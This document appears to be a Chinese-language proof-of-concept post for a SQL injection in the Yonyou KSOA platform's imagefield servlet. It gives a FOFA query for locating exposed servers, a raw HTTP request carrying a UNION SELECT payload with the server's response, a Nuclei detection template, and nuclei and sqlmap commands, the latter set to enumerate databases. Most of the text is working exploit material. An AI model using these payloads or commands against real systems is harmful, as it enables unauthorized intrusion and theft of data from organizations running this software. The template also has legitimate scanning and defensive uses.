用友-时空KSOA SQL注入漏洞

app="用友-时空KSOA"

GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

HTTP/1.1 200 OKConnection: closeContent-Type: image/jpegDate: Mon, 23 Oct 2023 11:41:43 GMTServer: Apache-Coyote/1.1
0x098f6bcd4621d373cade4e832627b4f6

id: yonyou-ksoa-imagefield-sqli
info:  name: 用友-时空KSOA SQL注入漏洞  author: fgz  severity: high  description: |    用友时空KSOA是建立在SOA理念指导下研发的新一代产品，是根据流通企业最前沿的I需求推出的统一的IT基础架构，它可以让流通企业各个时期建立的IT系统之间彼此轻松对话，帮助流通企业保护原有的IT投资，简化IT管理，提升竞争能力，确保企业整体的战略目标以及创新活动的实现。该平台imagefield接口处存在SQL注入漏洞，会导致数据泄露。  reference:    - none  metadata:    fofa-query: app="用友-时空KSOA"    veified: true  tags: sqli,yonyou,ksoa
http:  - method: GET    path:      - "{{BaseURL}}/servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+"
    matchers-condition: and    matchers:      - type: status        status:          - 200
      - type: word        part: body        words:          - '0x098f6bcd4621d373cade4e832627b4f6'        condition: and

.nuclei.exe -t .yonyou-ksoa-imagefield-sqli.yaml -u http://x.x.x.x:xx

sqlmap -u "http://x.x.x.x/servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=*"  --dbs